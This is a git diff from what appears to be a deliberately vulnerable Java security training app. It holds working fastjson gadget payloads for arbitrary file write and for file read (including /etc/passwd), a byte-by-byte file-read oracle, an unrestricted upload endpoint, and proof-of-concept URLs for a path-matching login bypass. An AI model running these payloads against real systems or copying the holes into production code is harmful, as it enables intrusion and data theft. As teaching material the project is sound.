"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"; +// String write_name = "C://repos//burp//plugins//test_1.2.68.txt"; +// String read_name = "C://repos//burp//plugins//authParams.cfg.bak"; +// String payload = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}"; +// String payload_commons_io_filewrite_7_8 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\",\"start\":0,\"end\":2147483647},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"charsetName\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}"; +// String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"file:///C://repos//burp//plugins//authParams.cfg.bak\"},\"charsetName\": \"UTF-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"UTF-8\",\"bytes\": [11]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}"; +// JSON.parseObject(payload_read_file); + +// org.apache.http.ConnectionClosedException2 exception = new org.apache.http.ConnectionClosedException2("test", new java.net.URL("https://gbvr2m5h71jwj6a1sdm3r55nue07ow.burpcollaborator.net/fastjson"), new java.net.URL("https://gbvr2m5h71jwj6a1sdm3r55nue07ow.burpcollaborator.net/fastjson")); +// String params = JSON.toJSONString(exception); +// System.out.println(params); +// org.apache.commons.io.DirectoryWalker.CancelException exception = new org.apache.commons.io.DirectoryWalker.CancelException(new java.io.File("/etc/passwd"), 1); +// String params = JSON.toJSONString(exception); +// System.out.println(params); + + + String param2 = "{\"a\":{\"@type\":\"java.lang.Exception\",\n" + + "\"@type\":\"org.apache.commons.io.DirectoryWalker$CancelException\",\n" + + "\"file\":\"/etc/passwd\",\n" + + "\"depth\":1\n" + + "},\n" + + "\"clientId\":{\"$ref\":\"$a.File\"}}"; + JSONObject ob = JSON.parseObject(param2); + System.out.println(ob.toString()); + } + + + public static char fakeChar(char[] fileName){ + char[] fs=new char[fileName.length+1]; + System.arraycopy(fileName,0,fs,0,fileName.length); + for (char i = 1; i <= 127; i++) { + fs[fs.length-1]=i; + String payload_read_file = "{\"abc\": {\"@type\": \"java.lang.AutoCloseable\",\"@type\": \"org.apache.commons.io.input.BOMInputStream\",\"delegate\": {\"@type\": \"org.apache.commons.io.input.ReaderInputStream\",\"reader\": {\"@type\": \"jdk.nashorn.api.scripting.URLReader\",\"url\": \"C:/repos/burp/plugins/\"},\"charsetName\": \"utf-8\",\"bufferSize\": 1024},\"boms\": [{\"charsetName\": \"utf-8\",\"bytes\": ["+formatChars(fs)+"]}]},\"address\": {\"$ref\": \"$.abc.BOM\"}}"; + if (JSON.parse(payload_read_file).toString().indexOf("bOMCharsetName")>0){ + return i; + } + } + return 0; + } + + private static String formatChars(char[] fs) { + StringBuilder builder = new StringBuilder(); + for(int i = 0; i< fs.length; i++){ +// System.out.println(Integer.toHexString(fs[i])); // 将每个字符转换成一个int + builder.append(Integer.toHexString(fs[i])); + builder.append(", "); + } + + + return builder.toString(); + } + + + +} diff --git a/src/main/java/org/joychou/controller/FileUpload.java b/src/main/java/org/joychou/controller/FileUpload.java new file mode 100644 index 00000000..00ab7008 --- /dev/null +++ b/src/main/java/org/joychou/controller/FileUpload.java @@ -0,0 +1,198 @@ +package org.joychou.controller; + +import com.fasterxml.uuid.Generators; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.*; +import org.springframework.web.multipart.MultipartFile; +import org.springframework.web.servlet.mvc.support.RedirectAttributes; + +import javax.imageio.ImageIO; +import java.awt.image.BufferedImage; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.UUID; + +import org.joychou.security.SecurityUtil; + + +/** + * File upload. + * + * @author JoyChou @ 2018-08-15 + */ +@Controller +@RequestMapping("/file") +public class FileUpload { + + // Save the uploaded file to this folder + private static final String UPLOADED_FOLDER = "/tmp/"; + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + private static String randomFilePath = ""; + + // uplaod any file + @GetMapping("/any") + public String index() { + return "upload"; // return upload.html page + } + + // only allow to upload pictures + @GetMapping("/pic") + public String uploadPic() { + return "uploadPic"; // return uploadPic.html page + } + + @PostMapping("/upload") + public String singleFileUpload(@RequestParam("file") MultipartFile file, + RedirectAttributes redirectAttributes) { + if (file.isEmpty()) { + // 赋值给uploadStatus.html里的动态参数message + redirectAttributes.addFlashAttribute("message", "Please select a file to upload"); + return "redirect:/file/status"; + } + + try { + // Get the file and save it somewhere + byte[] bytes = file.getBytes(); + Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename()); + Files.write(path, bytes); + + redirectAttributes.addFlashAttribute("message", + "You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'"); + + } catch (IOException e) { + redirectAttributes.addFlashAttribute("message", "upload failed"); + logger.error(e.toString()); + } + + return "redirect:/file/status"; + } + + @GetMapping("/status") + public String uploadStatus() { + return "uploadStatus"; + } + + // only upload picture + @PostMapping("/upload/picture") + @ResponseBody + public String uploadPicture(@RequestParam("file") MultipartFile multifile) throws Exception { + if (multifile.isEmpty()) { + return "Please select a file to upload"; + } + + String fileName = multifile.getOriginalFilename(); + String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名 + String mimeType = multifile.getContentType(); // 获取MIME类型 + String filePath = UPLOADED_FOLDER + fileName; + File excelFile = convert(multifile); + + + // 判断文件后缀名是否在白名单内 校验1 + String[] picSuffixList = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; + boolean suffixFlag = false; + for (String white_suffix : picSuffixList) { + if (Suffix.toLowerCase().equals(white_suffix)) { + suffixFlag = true; + break; + } + } + if (!suffixFlag) { + logger.error("[-] Suffix error: " + Suffix); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; + } + + + // 判断MIME类型是否在黑名单内 校验2 + String[] mimeTypeBlackList = { + "text/html", + "text/javascript", + "application/javascript", + "application/ecmascript", + "text/xml", + "application/xml" + }; + for (String blackMimeType : mimeTypeBlackList) { + // 用contains是为了防止text/html;charset=UTF-8绕过 + if (SecurityUtil.replaceSpecialStr(mimeType).toLowerCase().contains(blackMimeType)) { + logger.error("[-] Mime type error: " + mimeType); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; + } + } + + // 判断文件内容是否是图片 校验3 + boolean isImageFlag = isImage(excelFile); + deleteFile(randomFilePath); + + if (!isImageFlag) { + logger.error("[-] File is not Image"); + deleteFile(filePath); + return "Upload failed. Illeagl picture."; + } + + + try { + // Get the file and save it somewhere + byte[] bytes = multifile.getBytes(); + Path path = Paths.get(UPLOADED_FOLDER + multifile.getOriginalFilename()); + Files.write(path, bytes); + } catch (IOException e) { + logger.error(e.toString()); + deleteFile(filePath); + return "Upload failed"; + } + + logger.info("[+] Safe file. Suffix: {}, MIME: {}", Suffix, mimeType); + logger.info("[+] Successfully uploaded {}", filePath); + return String.format("You successfully uploaded '%s'", filePath); + } + + private void deleteFile(String filePath) { + File delFile = new File(filePath); + if(delFile.isFile() && delFile.exists()) { + if (delFile.delete()) { + logger.info("[+] " + filePath + " delete successfully!"); + return; + } + } + logger.info(filePath + " delete failed!"); + } + + /** + * 为了使用ImageIO.read() + * + * 不建议使用transferTo,因为原始的MultipartFile会被覆盖 + * https://stackoverflow.com/questions/24339990/how-to-convert-a-multipart-file-to-file + */ + private File convert(MultipartFile multiFile) throws Exception { + String fileName = multiFile.getOriginalFilename(); + String suffix = fileName.substring(fileName.lastIndexOf(".")); + UUID uuid = Generators.timeBasedGenerator().generate(); + randomFilePath = UPLOADED_FOLDER + uuid + suffix; + // 随机生成一个同后缀名的文件 + File convFile = new File(randomFilePath); + boolean ret = convFile.createNewFile(); + if (!ret) { + return null; + } + FileOutputStream fos = new FileOutputStream(convFile); + fos.write(multiFile.getBytes()); + fos.close(); + return convFile; + } + + /** + * Check if the file is a picture. + */ + private static boolean isImage(File file) throws IOException { + BufferedImage bi = ImageIO.read(file); + return bi != null; + } +} diff --git a/src/main/java/org/joychou/controller/GetRequestURI.java b/src/main/java/org/joychou/controller/GetRequestURI.java new file mode 100644 index 00000000..e500b980 --- /dev/null +++ b/src/main/java/org/joychou/controller/GetRequestURI.java @@ -0,0 +1,51 @@ +package org.joychou.controller; + + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.util.AntPathMatcher; +import org.springframework.util.PathMatcher; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.servlet.http.HttpServletRequest; + +/** + * The difference between getRequestURI and getServletPath. + * 由于Spring Security的antMatchers("/css/**", "/js/**")未使用getRequestURI,所以登录不会被绕过。 + *

+ * Details: https://joychou.org/web/security-of-getRequestURI.html + *

+ * Poc: + * http://localhost:8080/css/%2e%2e/exclued/vuln + * http://localhost:8080/css/..;/exclued/vuln + * http://localhost:8080/css/..;bypasswaf/exclued/vuln + * + * @author JoyChou @2020-03-28 + */ + +@RestController +@RequestMapping("uri") +public class GetRequestURI { + + private final Logger logger = LoggerFactory.getLogger(this.getClass()); + + @GetMapping(value = "/exclued/vuln") + public String exclued(HttpServletRequest request) { + + String[] excluedPath = {"/css/**", "/js/**"}; + String uri = request.getRequestURI(); // Security: request.getServletPath() + PathMatcher matcher = new AntPathMatcher(); + + logger.info("getRequestURI: " + uri); + logger.info("getServletPath: " + request.getServletPath()); + + for (String path : excluedPath) { + if (matcher.match(path, uri)) { + return "You have bypassed the login page."; + } + } + return "This is a login page >..<"; + } +} diff --git a/src/main/java/org/joychou/controller/IPForge.java b/src/main/java/org/joychou/controller/IPForge.java new file mode 100644 index 